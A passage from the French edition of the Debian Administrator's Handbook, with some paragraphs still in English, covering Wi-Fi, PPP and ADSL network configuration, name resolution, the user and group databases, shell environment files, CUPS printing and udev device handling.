8.2.2.2. Les paramètres Wi-Fi dans /etc/network/interfaces

ifupdown is able to manage wireless interfaces but it needs the help of the wpasupplicant package which provides the required integration between ifupdown and the wpa_supplicant command used to configure the wireless interfaces (when using WPA/WPA2 encryption). The usual entry in /etc/network/interfaces needs to be extended with two supplementary parameters to specify the name of the wireless network (aka its SSID) and the Pre-Shared Key (PSK).

Exemple 8.3. Configuration DHCP pour une interface sans fil

auto wlp4s0

iface wlp4s0 inet dhcp

wpa-ssid Falcot

wpa-psk ccb290fd4fe6b22935cbae31449e050edd02ad44627b16ce0151668f5f53c01b

The wpa-psk parameter can contain either the plain text passphrase or its hashed version generated with wpa_passphrase SSID passphrase. If you use an unencrypted wireless connection, then you should put a wpa-key-mgmt NONE and no wpa-psk entry. For more information about the possible configuration options, have a look at /usr/share/doc/wpasupplicant/README.Debian.gz.

À ce stade, vous devriez envisager de limiter les autorisations de lecture sur /etc/network/interfaces à l'utilisateur root uniquement car le fichier contient une clé privée qui ne doit pas être accessibles aux autres utilisateurs.

HISTOIRE Chiffrement WEP

L'utilisation du protocole de chiffrement WEP obsolète est possible avec le package wireless-tools. Voir /usr/share/doc/wireless-tools/README.Debian pour les instructions.

8.2.3. Connexion PPP par modem téléphonique

Une connexion point à point (PPP) établit une connexion intermittente ; c'est donc la solution la plus souvent employée pour les connexions par modem téléphonique (sur le réseau téléphonique commuté RTC).

Une connexion par modem téléphonique requiert un compte chez un fournisseur d'accès, comprenant numéro de téléphone, identifiant, mot de passe et, parfois, protocole d'authentification employé. On la configurera à l'aide de l'utilitaire pppconfig du paquet Debian éponyme. Par défaut, il utilise la connexion provider (fournisseur d'accès). En cas de doute sur le protocole d'authentification, choisissez PAP : il est proposé par la majorité des fournisseurs d'accès.

Après configuration, il est possible de se connecter par la commande pon (à laquelle on fournira le nom de la connexion si la valeur par défaut — provider — ne convient pas). On coupera la connexion par la commande poff. Ces deux commandes peuvent être exécutées par l'utilisateur root ou par un autre utilisateur, à condition qu'il fasse partie du groupe dip.

8.2.4. Connexion par modem ADSL

Le terme générique de « modem ADSL » recouvre des périphériques aux fonctionnements très différents. Les modems les plus simples à employer avec Linux sont ceux qui disposent d'une interface Ethernet. Ceux-ci ont tendance à se répandre, les fournisseurs d'accès à Internet par ADSL prêtant (ou louant) de plus en plus souvent une « box » disposant d'interfaces Ethernet en plus (ou en remplacement) des interfaces USB. Selon le type de modem, la configuration nécessaire peut fortement varier.

8.2.4.1. Modem fonctionnant avec PPPOE

Certains modems Ethernet fonctionnent avec le protocole PPPOE (Point-to-Point Protocol Over Ethernet, ou protocole point à point sur Ethernet). L'utilitaire pppoeconf (du paquet éponyme) configurera la connexion. Pour cela, il modifiera le fichier /etc/ppp/peers/dsl-provider avec les paramètres fournis et enregistrera les informations d'authentification dans les fichiers /etc/ppp/pap-secrets et /etc/ppp/chap-secrets. Il est recommandé d'accepter toutes les modifications qu'il propose.

Cette configuration mise en place, on pourra démarrer la connexion ADSL par la commande pon dsl-provider et la stopper avec poff dsl-provider.

ASTUCE Exécuter ppp au démarrage de l'ordinateur

Les connexions PPP par ADSL sont par définition intermittentes. Comme elles ne sont pas facturées à la durée, la tentation est grande de les garder toujours ouvertes ; un moyen simple est de les faire démarrer par le processus init.

Avec systemd, pour ajouter une tâche qui (re)démarre automatiquement la connexion ADSL il suffit de créer, par exemple, un fichier "unit" /etc/systemd/system/adsl-connection.service contenant ceci :

[Unit]

Description=ADSL connection

[Service]

Type=forking

ExecStart=/usr/sbin/pppd call dsl-provider

Restart=always

[Install]

WantedBy=multi-user.target

Une fois ce nouveau service défini, il doit être activé avec systemctl enable adsl-connection puis démarré avec systemctl start adsl-connection. Ainsi, en plus de se relancer après chaque interruption, il s'activera également à chaque démarrage.

Pour les systèmes qui n'utilisent pas systemd (y compris ceux exploitant Wheezy et les versions antérieures de Debian), le système d'initialisation SystemV fonctionne différemment. Sur ces systèmes, il suffit d'ajouter la ligne ci-dessous au fichier /etc/inittab ; toute interruption provoquera alors immédiatement l'invocation d'une nouvelle connexion par init.

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

Pour les connexions ADSL qui subissent une déconnexion quotidienne, cette méthode permet de réduire la durée de la coupure.

8.2.4.2. Modem fonctionnant avec PPTP

Le protocole PPTP (Point-to-Point Tunneling Protocol, ou protocole point à point par tunnel) est une invention de Microsoft. Déployé aux débuts de l'ADSL, il a rapidement été remplacé par PPPOE. Si ce protocole vous est imposé, voyez la Section 10.3.4, « PPTP ».

8.2.4.3. Modem fonctionnant avec DHCP

Lorsque le modem est connecté à l'ordinateur par un câble Ethernet (croisé), il fait le plus souvent office de serveur DHCP (c'est parfois une option de configuration à activer sur le modem). Il suffit alors à l'ordinateur de configurer une connexion réseau par DHCP ; le modem s'inscrit automatiquement comme passerelle par défaut et prend en charge le travail de routage (c'est-à-dire qu'il gère le trafic réseau entre l'ordinateur et Internet).

B.A.-BA Câble croisé pour une connexion Ethernet directe

Les cartes réseau des ordinateurs s'attendent à recevoir les données sur un brin particulier du câble et les envoyer sur un autre. Lorsqu'on relie un ordinateur à un réseau local, on branche habituellement un câble (droit ou décroisé) entre la carte réseau et un répétiteur ou un commutateur, qui est prévu pour. Cependant, si l'on souhaite relier deux ordinateurs directement (c'est-à-dire sans répétiteur/commutateur intermédiaire), il faut acheminer le signal émis par une carte vers le brin de réception de l'autre carte et réciproquement ; c'est là l'objet (et la nécessité) d'un câble croisé.

Il est à noter que cette distinction n'est plus très utile ; les cartes réseau modernes sont capables de détecter automatiquement le type de câble présent et de s'adapter en conséquence, et il n'est pas rare que les deux types de câbles fonctionnent à l'identique dans un environnement donné.

La plupart des « routeurs ADSL » du marché fonctionnent de cette manière, de même que la plupart des modems ADSL mis à disposition par les fournisseurs d'accès à Internet.

8.2.5. Configuration réseau itinérante

De nombreux ingénieurs de Falcot disposent d'un ordinateur portable professionnel qu'ils emploient aussi bien chez eux qu'au travail. Bien entendu, la configuration réseau à employer n'est pas la même selon l'endroit. À la maison, c'est un réseau Wi-Fi (protégé par une clé WPA) et au travail, c'est un réseau filaire offrant plus de sécurité et plus de débit.

Pour éviter de devoir manuellement activer ou désactiver les interfaces réseau correspondantes, les administrateurs ont installé le paquet network-manager sur ces portables. Ce logiciel permet à l'utilisateur de basculer facilement d'un réseau à un autre grâce à une petite icône affichée dans la zone de notification des bureaux graphiques. Un clic sur l'icône affiche une liste des réseaux disponibles (filaires et Wi-Fi), il ne reste plus qu'à choisir le réseau de son choix. Le logiciel garde en mémoire les réseaux sur lesquels l'utilisateur s'est déjà connecté et bascule automatiquement sur le meilleur réseau disponible lorsque la connexion actuelle vient à disparaître.

Pour réaliser cela, le logiciel est structuré en deux parties : un démon tournant en root effectue les opérations d'activation et de configuration des interfaces réseau, et une interface utilisateur pilote ce démon. La gestion des droits d'accès est confiée à PolicyKit ; la configuration proposée par Debian spécifie que seuls les membres du groupe netdev ont le droit de créer ou modifier les connexions de Network Manager.

Network Manager sait désormais gérer des connexions de divers types (DHCP, configuration manuelle, réseau local seulement), mais seulement si la configuration se fait par son biais. C'est pourquoi il ignorera systématiquement toutes les interfaces réseau dont la configuration dans /etc/network/interfaces et /etc/network/interfaces.d/ ne lui convient pas. Le plus simple est encore d'enlever toute configuration pour chaque interface qui doit être gérée par Network Manager. En effet, le logiciel n'indiquera pas pourquoi il n'affiche aucune connexion réseau disponible.

Il est intéressant de noter que ce logiciel est installé par défaut lorsque la tâche « Environnement bureautique » est sélectionnée au cours de l'installation initiale.

8.3. Attribution et résolution de noms

Affubler de noms les numéros IP vise à en faciliter la mémorisation par l'humain. En réalité, une adresse IP identifie une interface réseau — un périphérique associé à une carte réseau ou assimilé ; chaque machine peut donc en compter plusieurs et, par conséquent, recevoir plusieurs noms dans le système responsable de leur attribution : le DNS.

Chaque machine est cependant identifiée par un nom principal (ou « canonique »), stocké dans le fichier /etc/hostname et communiqué au noyau Linux par les scripts d'initialisation à travers la commande hostname. On peut en prendre connaissance dans le fichier virtuel /proc/sys/kernel/hostname.

B.A.-BA /proc/ et /sys/, systèmes de fichiers virtuels

Les arborescences /proc/ et /sys/ sont gérées par des systèmes de fichiers « virtuels ». Il s'agit en fait d'un moyen pratique de récupérer des informations depuis le noyau (en lisant des fichiers virtuels) et de lui en communiquer (en écrivant dans des fichiers virtuels).

/sys/ est tout particulièrement prévu pour donner accès à des objets internes du noyau, en particulier ceux qui représentent les différents périphériques du système. Le noyau peut ainsi partager de nombreuses informations : l'état de chaque périphérique (par exemple, s'il est en mode d'économie d'énergie), s'agit-il d'un périphérique amovible, etc. Signalons que /sys/ n'existe que depuis les noyaux 2.6. /proc/ décrit l'état courant du noyau : les fichiers dans ce dossier contiennent les informations relatives aux processus qui tournent sur le système et son matériel.

Étonnamment, le nom de domaine n'est pas géré de la même manière, mais provient du nom complet de la machine, obtenu par une résolution de noms. On pourra le modifier dans le fichier /etc/hosts ; il suffit d'y placer un nom complet de machine au début de la liste des noms associés à l'adresse de la machine comme dans l'exemple ci-dessous :

127.0.0.1     localhost

192.168.0.1   arrakis.falcot.com arrakis

8.3.1. Résolution de noms

Le mécanisme de résolution de noms de Linux, modulaire, peut s'appuyer sur différentes sources d'informations déclarées dans le fichier /etc/nsswitch.conf. L'entrée qui concerne la résolution des noms d'hôtes est hosts. Par défaut, elle contient files dns, ce qui signifie que le système consulte en priorité le fichier /etc/hosts puis interroge les serveurs DNS. Des serveurs NIS/NIS+ ou LDAP forment d'autres sources possibles.

NOTE NSS et DNS

Attention, les commandes destinées spécifiquement à interroger le DNS (notamment host) ne consultent pas le mécanisme standard de résolution de noms (NSS). Elles ne tiennent donc pas compte de /etc/nsswitch.conf, ni a fortiori de /etc/hosts.

8.3.1.1. Configuration des serveurs DNS

Le DNS (Domain Name Service, ou service de noms) est un service distribué et hiérarchique associant des noms à des adresses IP et vice versa. Concrètement, il permet de savoir que www.eyrolles.com est en réalité l'adresse IP 213.244.11.247.

Pour accéder aux informations du DNS, il faut disposer d'un serveur DNS relayant les requêtes. Falcot SA a les siens, mais un particulier fait normalement appel aux serveurs DNS de son fournisseur d'accès à Internet.

The DNS servers to be used are indicated in /etc/resolv.conf, one per line, with the nameserver keyword preceding an IP address, as in the following example:

nameserver 212.27.32.176

nameserver 212.27.32.177

nameserver 8.8.8.8

Note that the /etc/resolv.conf file may be handled automatically (and overwritten) when the network is managed by NetworkManager or configured via DHCP, or when resolvconf is installed or systemd-resolved(8) is enabled.

8.3.1.2. Fichier /etc/hosts

En l'absence d'un serveur de noms sur le réseau local, il est tout de même possible d'établir une petite table de correspondance entre adresses IP et noms de machines dans le fichier /etc/hosts, habituellement réservée aux postes du réseau local. La syntaxe de ce fichier, décrite dans hosts(5), est très simple : chaque ligne indique une adresse IP suivie de la liste de tous les noms qui y sont associés (le premier étant « complètement qualifié », c'est-à-dire incluant le nom de domaine).

Ce fichier est disponible même en cas de panne réseau ou quand les serveurs DNS sont injoignables, mais ne sera vraiment utile que dupliqué sur toutes les machines du réseau. Au moindre changement dans les correspondances, il faudra donc le mettre à jour partout. C'est pourquoi /etc/hosts ne renferme généralement que les entrées les plus importantes (et notamment celle de sa propre machine).

Pour un petit réseau non connecté à Internet, ce fichier suffira, mais à partir de cinq machines il est recommandé d'installer un serveur DNS en bonne et due forme.

ASTUCE Court-circuiter le DNS

Étant donné que les applications consultent le fichier /etc/hosts avant d'interroger le DNS, il est possible d'y mettre des informations différentes de celles habituellement renvoyées par celui-ci, et donc de le court-circuiter.

Cela permet, en cas de changements DNS pas encore propagés, de tester l'accès à un site web avec le nom prévu même si celui-ci n'est pas encore associé à la bonne adresse IP.

Autre emploi original, il est possible de rediriger le trafic destiné à un hôte donné vers la machine locale afin qu'aucune communication avec cet hôte ne soit possible. Les noms de serveurs dédiés à l'envoi de bannières publicitaires pourraient faire l'objet d'une telle mesure, ce qui rendrait la navigation plus fluide et moins distrayante puisque leurs annonces ne pourraient plus être chargées.

8.4. Base de données des utilisateurs et des groupes

La liste des utilisateurs est habituellement stockée dans le fichier /etc/passwd, alors que le fichier /etc/shadow stocke les mots de passe hachés. Tous deux sont de simples fichiers texte, au format relativement simple, consultables et modifiables avec un éditeur de texte. Chaque utilisateur y est décrit sur une ligne par plusieurs champs séparés par deux-points (« : »).

ATTENTION Édition des fichiers système

Les fichiers système mentionnés dans ce chapitre sont au format texte simple et sont donc éditables avec un éditeur de texte. Étant donnée leur importance, il est toutefois recommandé de prendre des précautions supplémentaires garantissant qu'un fichier ne soit pas modifié par plusieurs personnes à la fois (ce qui pourrait causer une corruption).

Pour cela, il suffit d'employer la commande vipw pour éditer /etc/passwd, ou vigr pour /etc/group. Ces dernières posent un verrou sur le fichier concerné avant d'exécuter un éditeur de texte (vi par défaut, sauf si la variable d'environnement EDITOR est définie). L'option -s de ces commandes permet d'éditer le fichier shadow correspondant.

B.A.-BA Crypt, une fonction à sens unique

crypt est une fonction à sens unique qui transforme une chaîne (A) en une autre chaîne (B) de telle sorte qu'à partir de B, il ne soit pas possible dans le cas général de retrouver A. La seule manière d'identifier A est de tester toutes les valeurs possibles, en vérifiant pour chacune si sa transformation par la fonction produit B ou non. Elle utilise jusqu'à 8 caractères en entrée (chaîne A) et génère une chaîne de 13 caractères ASCII imprimables (chaîne B).

8.4.1. Liste des utilisateurs : /etc/passwd

Voici la liste des champs du fichier /etc/passwd :

- identifiant (ou login), par exemple rhertzog ;

- password: this is a password encrypted by a one-way function (crypt), relying on DES, MD5, SHA-256 or SHA-512. The special value “x” indicates that the encrypted password is stored in /etc/shadow;

- uid : numéro unique identifiant l'utilisateur ;

- gid : numéro unique du groupe principal de l'utilisateur (Debian crée par défaut un groupe spécifique à chacun) ;

- GECOS : champ de renseignements qui contient habituellement le nom complet de l'utilisateur ;

- répertoire de connexion, attribué à l'utilisateur pour qu'il y stocke ses fichiers personnels (la variable d'environnement $HOME y pointe habituellement) ;

- programme à exécuter après la connexion. Il s'agit généralement d'un interpréteur de commandes (shell), donnant libre cours à l'utilisateur. Si l'on précise /bin/false (programme qui ne fait rien et rend la main immédiatement), l'utilisateur ne pourra pas se connecter.

As mentioned before, one can edit this file directly. But there are more elegant ways to apply changes, which are described in Section 8.4.3, « Modifier un compte ou mot de passe existant ».

B.A.-BA Groupe Unix

Un groupe Unix est une entité regroupant plusieurs utilisateurs afin qu'ils puissent facilement se partager des fichiers à l'aide du système de droits intégré (en jouissant justement des mêmes droits). On peut également restreindre l'utilisation de certains programmes à un groupe donné.

8.4.2. Le fichier des mots de passe chiffrés et cachés : /etc/shadow

Le fichier /etc/shadow contient les champs suivants :

- identifiant (ou login) ;

- mot de passe chiffré ;

- plusieurs champs de gestion de l'expiration du mot de passe.

One can expire passwords using this file or set the time until the account is disabled after the password has expired.

SÉCURITÉ Sûreté du fichier /etc/shadow

/etc/shadow, contrairement à son alter ego /etc/passwd, est inaccessible en lecture aux utilisateurs. Tout mot de passe haché stocké dans /etc/passwd est lisible par tous ; un indélicat peut alors entreprendre de le « casser » par une méthode de force brute, consistant simplement à chiffrer successivement tous les mots de passe simples pour tenter de le découvrir. Cette attaque, dite « du dictionnaire », qui dévoile les mots de passe mal choisis, n'est plus possible avec le fichier /etc/shadow.

DOCUMENTATION Formats de /etc/passwd, /etc/shadow et /etc/group

These formats are documented in the following man pages: passwd(5), shadow(5), and group(5).

8.4.3. Modifier un compte ou mot de passe existant

The following commands allow modification of the information stored in specific fields of the user databases: passwd permits a regular user to change their password, which in turn, updates the /etc/shadow file (chpasswd allows administrators to update passwords for a list of users in batch mode); chfn (CHange Full Name), reserved for the super-user (root), modifies the GECOS field. chsh (CHange SHell) allows the user to change their login shell; however, available choices will be limited to those listed in /etc/shells; the administrator, on the other hand, is not bound by this restriction and can set the shell to any program of their choosing.

Enfin, la commande chage (CHange AGE) donnera à l'administrateur la possibilité de modifier les conditions d'expiration du mot de passe (l'option -l utilisateur listant la configuration actuelle). On pourra d'ailleurs forcer l'expiration d'un mot de passe grâce à la commande passwd -e utilisateur, qui obligera l'utilisateur à changer son mot de passe à la prochaine connexion.

Besides these tools the usermod command allows to modify all the details mentioned above.

8.4.4. Bloquer un compte

You may find yourself needing to “disable an account” (lock out a user), as a disciplinary measure, for the purposes of an investigation, or simply in the event of a prolonged or definitive absence of a user. A disabled account means the user cannot login or gain access to the machine. The account remains intact on the machine and no files or data are deleted; it is simply inaccessible. This is accomplished by using the command passwd -l user (lock). Re-enabling the account is done in similar fashion, with the -u option (unlock). This, however, only prevents password-based logins by the user. The user might still be able to access the system using an SSH key (if configured). To prevent even this possibility you have to expire the account as well using either chage -E 1user or usermod -e 1 user (giving a value of -1 in either of these commands will reset the expiration date to never). To (temporarily) disable all user accounts just create the file /etc/nologin.

You can disable a user account not only by locking it as described above, but also by changing its default login shell (chsh -s shell user). With the latter changed to /usr/sbin/nologin, a user gets a polite message informing that a login is not possible, while /bin/false just exits while returning false. There is no switch to restore the previous shell. You have to get and keep that information before you change the setting. These shells are often used for system users which do not require any login availability.

POUR ALLER PLUS LOIN Base de données système et NSS

Au lieu d'employer les fichiers habituels pour gérer les listes des utilisateurs et des groupes, on peut recourir à d'autres types de bases de données — comme LDAP ou db — en employant un module NSS (Name Service Switch, ou multiplexeur de service de noms) adéquat. Les listes des modules employés se trouvent dans le fichier /etc/nsswitch.conf sous les entrées passwd, shadow et group. Voir la Section 11.7.3.1, « Configuration de NSS » pour un exemple concret d'emploi du module NSS pour LDAP.

8.4.5. Liste des groupes : /etc/group

La liste des groupes est stockée dans le fichier /etc/group, simple base de données textuelle au format comparable à celui de /etc/passwd, qui utilise les champs suivants :

- identifiant (le nom du groupe) ;

- mot de passe (facultatif) : il ne sert qu'à intégrer un groupe dont on n'est pas habituellement membre (avec la commande newgrp ou sg — voir encadré B.A.-BA Travailler avec plusieurs groupes) ;

- gid : numéro unique identifiant le groupe ;

- liste des membres : liste des identifiants d'utilisateurs membres du groupe, séparés par des virgules.

B.A.-BA Travailler avec plusieurs groupes

Chaque utilisateur peut donc faire partie de plusieurs groupes ; l'un d'entre eux est son « groupe principal » ; le groupe principal par défaut est mis en place lors de la connexion. Par défaut, chaque fichier qu'il crée lui appartient, ainsi qu'au groupe principal. Cela n'est pas toujours souhaitable : c'est par exemple le cas lors d'un travail dans un répertoire partagé grâce à un groupe différent de son groupe principal. Dans ce cas, l'utilisateur a intérêt à changer temporairement de groupe principal grâce aux commandes newgrp — qui démarre un nouveau shell — ou sg — qui se contente d'exécuter une commande. Ces commandes permettent aussi de rejoindre un groupe dont on ne fait pas partie si le groupe est protégé par un mot de passe connu.

Une alternative consiste à positionner le bit setgid sur le répertoire, ce qui permet aux fichiers créés dans ce répertoire d'appartenir automatiquement au bon groupe. On se référera pour les détails à l'encadré SÉCURITÉ Répertoire setgid et sticky bit.

La commande id permet de vérifier à tout instant son identifiant personnel (variable uid), le groupe principal actuel (variable gid) et la liste des groupes dont on fait partie (variable groupes).

Les commandes addgroup et delgroup permettent respectivement de créer et de supprimer un groupe. La commande groupmod modifie les informations d'un groupe (son gid ou son identifiant). La commande gpasswd groupe modifiera le mot de passe d'un groupe, tandis que la commande gpasswd -r groupe le supprimera.

ASTUCE getent

La commande getent (get entries) consulte les bases de données du système de manière classique, en employant les appels système adéquats, donc les modules NSS configurés dans le fichier /etc/nsswitch.conf. Elle prend un ou deux arguments : le nom de la base de données à consulter et une éventuelle clé de recherche. Ainsi, la commande getent passwd rhertzog renvoie les informations de la base de données des utilisateurs concernant l'utilisateur rhertzog.

8.5. Création de compte

L'une des premières actions de l'administrateur est de créer les comptes de ses utilisateurs, ce qui s'effectue très simplement avec la commande adduser. Celle-ci prend simplement en argument l'identifiant utilisateur à créer.

adduser pose quelques questions avant de créer le compte à proprement parler, mais son déroulement offre peu de surprises. Le fichier de configuration /etc/adduser.conf offre toutefois quelques paramétrages intéressants. On pourra ainsi prévoir automatiquement un quota à chaque nouvel utilisateur en dupliquant celui d'un utilisateur « modèle ». On pourra aussi modifier l'emplacement du compte utilisateur, ce qui ne présente que rarement de l'utilité — c'est le cas si les utilisateurs sont si nombreux qu'il est souhaitable de répartir leurs comptes sur plusieurs disques. On pourra encore choisir un autre interpréteur de commandes par défaut.

B.A.-BA Quota

Le terme « quota » désigne une limitation des ressources de la machine qu'un utilisateur peut employer. Il s'agit souvent d'espace disque.

La création du compte fabrique le répertoire personnel et y recopie le contenu du répertoire modèle /etc/skel/, afin de fournir quelques fichiers standards.

Dans certains cas, il sera utile d'ajouter un utilisateur dans un groupe, en particulier pour lui conférer des droits supplémentaires. Par exemple, un utilisateur intégré au groupe audio pourra accéder aux périphériques son (voir encadré B.A.-BA Droits d'accès à un périphérique). Pour ce faire, on procède avec la commande adduser utilisateur groupe.

B.A.-BA Droits d'accès à un périphérique

Chaque périphérique matériel est représenté sous Unix par un fichier dit « spécial », habituellement stocké dans l'arborescence /dev/ (DEVices). On distingue deux types de fichiers spéciaux selon la nature du périphérique : des fichiers en « mode caractère » et des fichiers en « mode bloc », chaque mode ne permettant qu'un nombre limité d'opérations. Alors que le mode caractère limite les interactions aux opérations de lecture et d'écriture, le mode bloc permet aussi de se déplacer dans le flux de données disponibles. Enfin, chaque fichier spécial est associé à deux nombres (dits « majeur » et « mineur ») qui identifient de manière unique le périphérique auprès du noyau. Un tel fichier, créé par la commande mknod, n'a donc qu'un nom symbolique plus pratique pour l'utilisateur humain.

Les droits d'accès à un fichier spécial décrivent directement les droits d'accès au périphérique. Ainsi, un fichier comme /dev/mixer — représentant le mixer audio — n'est par défaut accessible en lecture/écriture qu'à l'utilisateur root et aux membres du groupe audio. Seuls ces utilisateurs pourront donc exploiter le mixer audio.

Il est à noter que la conjonction d'udev et policykit peuvent ajouter des permissions supplémentaires, notamment pour permettre aux utilisateurs connectés physiquement sur la console (et non par le réseau) l'accès à certains périphériques.

8.6. Environnement des interpréteurs de commandes

Les interpréteurs de commandes (ou shells), qui peuvent être le premier contact de l'utilisateur avec l'ordinateur, doivent être assez conviviaux. La plupart utilisent des scripts d'initialisation permettant de configurer leur comportement (complétion automatique, texte d'invite, etc.).

bash, l'interpréteur de commandes standard, emploie les scripts d'initialisation /etc/bash.bashrc (pour les shells « interactifs ») et /etc/profile (pour les shells « de connexion »).

Pour simplifier, un shell de connexion est invoqué lors d'une connexion — sur la console, via ssh, ou à travers la commande explicite bash --login. Qu'il soit un shell de connexion ou non, un shell interactif est celui qui prend place dans un terminal de type xterm ; un shell non interactif est celui qui permet d'exécuter un script.

DÉCOUVERTE Autres shells, autres scripts

Each command interpreter has a specific syntax and its own configuration files. Thus, zsh uses the files in /etc/zsh/; tcsh uses /etc/csh.cshrc, /etc/csh.login and /etc/csh.logout. The man pages for these programs document which files they use.

For bash, it is useful to install and activate “automatic completion”. The package bash-completion contains these completions for most common programs and is usually enabled if the user's .bashrc configuration file was copied from /etc/skel/.bashrc. Otherwise it can be enabled via /etc/bash.bashrc (simply uncomment a few lines) or /etc/profile.

B.A.-BA Complétion automatique

De nombreux interpréteurs de commandes en sont capables : il s'agit pour eux de compléter automatiquement un nom de commande ou d'argument (fichier ou répertoire) saisi partiellement. Pour cela, l'utilisateur enfoncera la touche de tabulation ; il peut ainsi travailler plus vite et avec moins de risques d'erreur.

Cette fonctionnalité est très riche : il est possible de personnaliser son comportement en fonction de chaque commande. Ainsi, le premier argument suivant apt sera proposé en fonction de la syntaxe de cette commande, même s'il ne correspond à aucun fichier (en l'occurrence, les choix possibles sont install, remove, upgrade, etc.).

B.A.-BA Le tilde, raccourci vers HOME

Le tilde est fréquemment employé pour désigner le répertoire pointé par la variable d'environnement HOME (à savoir le répertoire de connexion de l'utilisateur, par exemple /home/rhertzog/). Les interpréteurs de commandes font la substitution automatiquement : ~/hello.txt devient /home/rhertzog/hello.txt.

Le tilde permet également d'accéder au répertoire de connexion d'un autre utilisateur. Ainsi, ~rmas/bonjour.txt est synonyme de /home/rmas/bonjour.txt.

In addition to these common scripts, each user can create their own ~/.bashrc and ~/.bash_profile to configure their shell. The most common changes are the addition of aliases; these are words that are automatically replaced with the execution of a command, which makes it faster to invoke that command. For instance, you could create the la alias for the command ls -la | less command; then you only have to type la to inspect the contents of a directory in detail. Please note that the shell needs to be reinitialized after adding an alias, e.g. by starting a new shell.

B.A.-BA Variables d'environnement

Les variables d'environnement permettent de stocker des paramètres globaux à destination du shell ou des divers programmes appelés. Elles sont contextuelles (chaque processus a son propre ensemble de variables d'environnement) mais héritables. Cette dernière caractéristique offre la possibilité à un shell de connexion de déclarer des variables qui se retrouveront dans tous les programmes exécutés par son intermédiaire.

Setting default environment variables is an important element of shell configuration. Leaving aside the variables specific to a shell, it is preferable to place system wide variables in the /etc/environment file, since it is used by the various programs likely to initiate a shell session. Variables typically defined there include ORGANIZATION, which usually contains the name of the company or organization, and HTTP_PROXY, which indicates the existence and location of an HTTP proxy. Other options include to set system wide variables via scripts in /etc/profile.d, or session wide variables via .pam_environment or .profile, where the latter can override any definition contained in the first. The file /etc/default/locale is meant to contain system wide locale related environment variables.

ASTUCE Tous les shells configurés à l'identique

Users often want to configure their login and interactive shells in the same way. To do this, they choose to interpret (or “source”) the content from ~/.bashrc in the ~/.bash_profile file. However, the default ~/.profile file is sourcing ~/.bashrc already and you don't need to create ~/.bash_profile for this purpose anymore, except you want to customize your shell further (see bash(1) for which files are read by bash for login shells). It is also possible to do the same with files common to all users (by calling /etc/bash.bashrc from /etc/profile, which is also done by default now).

8.7. Configuration de l'impression

Printer configuration used to cause a great many headaches for administrators and users alike. These headaches are now mostly a thing of the past, thanks to CUPS, the free print server using IPP, the Internet Printing Protocol.

Debian distributes CUPS divided between several packages. The heart of the system is the scheduler, cupsd, which is in the cups-daemon package. cups-client contains utility programs to interact with the server, cupsd. lpadmin is probably the most important utility, as it is crucial for setting up a printer, but there are also facilities to disable or enable a printer queue, view or delete print jobs and display or set printer options. The CUPS framework is based on the System V printing system, but there is a compatibility package, cups-bsd, allowing use of commands such as lpr, lpq and lprm from the traditional BSD printing system.

COMMUNAUTÉ CUPS

CUPS is a project and a trademark owned and managed by Apple, Inc. Prior to its acquisition by Apple it was known as the Common Unix Printing System.

→ https://www.cups.org/

The scheduler manages print jobs and these jobs traverse a filtering system to produce a file that the printer will understand and print. The filtering system is provided by the cups-filters package in conjunction with printer-driver-* packages. CUPS in combination with these packages is the basis for the Debian printing system.

Modern printers manufactured and sold within the last ten years are nearly always AirPrint-capable, and CUPS and cups-filters on Debian Bullseye have everything which is needed to take advantage of this facility on the network. In essence, these printers are IPP printers and an excellent fit for a driverless printing system, reducing the system to CUPS plus cups-filters. A printer-driver package can be dispensed with, and non-free printing software from vendors like Canon and Brother is no longer required. A USB-connected printer can take advantage of a modern printer with the ippusbxd package.

The command apt install cups will install CUPS and the filters. It will also install the recommended printer-driver-gutenprint to provide a driver for a wide range of printers, but, unless the printer is being operated driverlessly, an alternative printer-driver might be needed for the particular device.

En tant que paquet recommandé par cups-daemon, cups-browsed sera installé et les files d'impression réseau, et les imprimantes modernes pourront être automatiquement découvertes et configurées grâce à leurs notifications DNS-SD (Bonjour). Les imprimantes USB devront être configurées manuellement comme décrit dans le paragraphe suivant.

The printing system is administered easily through a web interface accessible at the local address http://localhost:631/. Members of the lpadmin group can add and remove USB and network printers and administer most aspects of their behavior. Similar administration tasks can also be carried out via the graphical interface provided by a desktop environment or the system-config-printer graphical interface (from the homonym Debian package).

8.8. Configuration du chargeur d'amorçage

Il est probablement déjà fonctionnel, mais il est toujours bon de savoir configurer et installer un chargeur d'amorçage au cas où celui-ci disparaîtrait du Master Boot Record (enregistrement d'amorçage maître). Cela peut se produire suite à l'installation d'un autre système d'exploitation, tel que Windows. Ces connaissances vous permettront également d'en modifier la configuration si l'actuelle ne vous convient pas.

B.A.-BA Master Boot Record

Le Master Boot Record (MBR, ou enregistrement d'amorçage maître) est la zone des 512 premiers octets du premier disque dur, chargée par le BIOS pour donner la main à un programme capable de démarrer le système d'exploitation voulu. En général, un chargeur d'amorçage s'installe donc sur le MBR en écrasant son contenu antérieur.

8.8.1. Identifier ses disques

CULTURE udev et /dev/

Le répertoire /dev/ abrite traditionnellement des fichiers dits « spéciaux », destinés à représenter les périphériques du système (voir encadré B.A.-BA Droits d'accès à un périphérique). À une lointaine époque, il contenait des fichiers spéciaux correspondant à tous les périphériques possibles. Cette structure statique présentait un certain nombre d'inconvénients, notamment parce qu'elle restreignait le nombre de périphériques utilisables (puisque leur liste était codée en dur) et qu'elle empêchait de savoir quels fichiers spéciaux correspondaient à un périphérique existant.

De nos jours, les fichiers spéciaux sont gérés de manière entièrement dynamique, ce qui correspond mieux à la nature des périphériques informatiques (dont la plupart peuvent être branchés et débranchés « à chaud »). Le noyau coopère avec udev (Section 9.11.3, « Fonctionnement de udev ») pour créer et supprimer ces fichiers à la volée lorsque les périphériques apparaissent ou disparaissent. Cela permet de ne pas avoir à stocker le répertoire /dev/ sur un système de stockage persistant ; au contraire, il est dans un système de fichiers en mémoire qui commence vide et qui ne contient que les entrées pertinentes.

The kernel communicates lots of information about any newly added device and hands out a pair of major/minor numbers to identify it. With this udevd can create the special file under the name and with the permissions that it wants. It can also create aliases and perform additional actions (such as initialization or registration tasks). udevd's behavior is driven by a large set of (customizable) rules usually found in /lib/udev/rules.d/ and /etc/udev/rules.d/.

